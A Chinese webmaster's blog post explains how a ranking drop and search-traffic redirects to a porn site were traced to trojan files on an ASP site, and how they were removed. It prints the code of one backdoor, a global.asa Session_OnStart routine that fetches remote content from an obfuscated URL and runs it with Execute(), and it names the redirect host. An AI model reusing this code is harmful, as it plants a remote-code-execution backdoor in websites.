网站被跳转的解决办法

 


        这几天网站的排名,一直在不停的浮动。在seowhy论坛里发现也有许多的网站,也和我一样都排在了一百页以外去了。 这种情况在seo业界里称为  “百度的端午期”。距离百度的端午期过了整整有一个星期了,很多朋友的网站都开始慢慢恢复排名了,可是俺的网站还是被排在了千里之外。有点匪夷所思!无奈为了排名,从头开始为网站做了详细的分析。


 

足够的分析,洞察未来!


 

         首先打开百度,site:自己的网站、发现网站收录有点异常,再仔细翻页一看,我的吗呀!网站竟然被收录一些黄色和色情之类的垃圾页面和标题。从百度搜索进入网站的时候,网站被自动跳转到了http://c.cat777.in/1/a1.html?www这个页面,而且还被360安全提示为木马网站。截图如下:


 

 网站被跳转


 

    我从来没遇到过这种情况啊,这几天自己打开网站也没出现过跳转啊,怎么网站会突然的跳转到色情页面上去了呢?有点搞不明白了。 在网上也搜索了许多相关跳转的文章,发现了都有一个共同的特征,就是收录了些色情黄色之类标题内容的快照,从百度搜索来的自动跳转到黄色的网站上,从原网站登录进来的不会出现跳转(就是自己输入网址打开自己网站不会出现跳转)。 这种种的情况,让我开始怀疑网站是不是被黑了呀,网站是不是被中了木马呀,种种的猜测,也越来越多。


 

理清头绪,才能找到问题所在!


 

          应该从网站的源代码方面开始分析,首先登录FTP把源程序下载到了本地,用 sinesafe网站木马检测了下,发现了三个木马,分别是 global.asa   cende.asp   about.asp ,其中一个是明文的木马代码,代码如下:


 

sub Session_OnStart

       url="h"&"t"&"t"&"p"&":"&"/"&"/"&"t"&"72"&""&"."&"q"&"u"&"3"&"4"&"5"&"6"&"."&

       Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")

       ObjXMLHTTP.Open "GET",url,False

       ObjXMLHTTP.setRequestHeader "User-Agent", url

       ObjXMLHTTP.send

       GetHtml=ObjXMLHTTP.responseBody

       Set ObjXMLHTTP=Nothing

       set objStream = Server.CreateObject("Adodb.Stream")

       objStream.Type = 1

       objStream.Mode = 3

       objStream.Open

       objStream.Write GetHtml

       objStream.Position = 0

       objStream.Type = 2

       objStream.Charset = "gb2312"

       GetHtml = objStream.ReadText

       objStream.Close

       if instr(GetHtml,"[elvis]") > 0 then Execute(GetHtml)

end sub


 

          这些代码很明显不是我网站原有的,找了一位程序设计的朋友咨询了这段代码的作用,说是利用了global.asa 这个特殊的文件,来远程获取内容和标题的作用。 我这才明白过来,原来网站收录了这么多垃圾的黄色页面,就是这个木马搞的鬼,木马从远程服务器获取内容,并吸引百度的蜘蛛来抓取并收录。 种种的原因已经分析的很透彻了,木马欺骗了百度蜘蛛并让蜘蛛大量的收录垃圾页面,对于网站的权重必然会有很大的降权,所以排名才会拒之千里!


 

知道了原因,解决就有了办法!


 

          把刚才检测出来的三个木马文件,删除掉即可。然后把ftp空间的程序清空掉,把删除掉木马的程序文件重新上传到空间,重新打开网站,网站跳转的问题也就解决了。最后打开百度的投诉中心http://tousu.baidu.com/webmaster/add  把网站的快照地址 填写一下 并提交投诉,百度会在一星期内处理,网站排名和收录的问题也会得到最终的完美解决。


 

         自始至终,解决问题的办法是离不开详细的分析。只有分析的足够,才能足够的解决问题。以上就是我个人分析以及解决问题的办法,希望能帮到更多和我一样的人,帮助别人也是在帮助自己,积德行善,在人生的道路上你才会走的更远!


分享: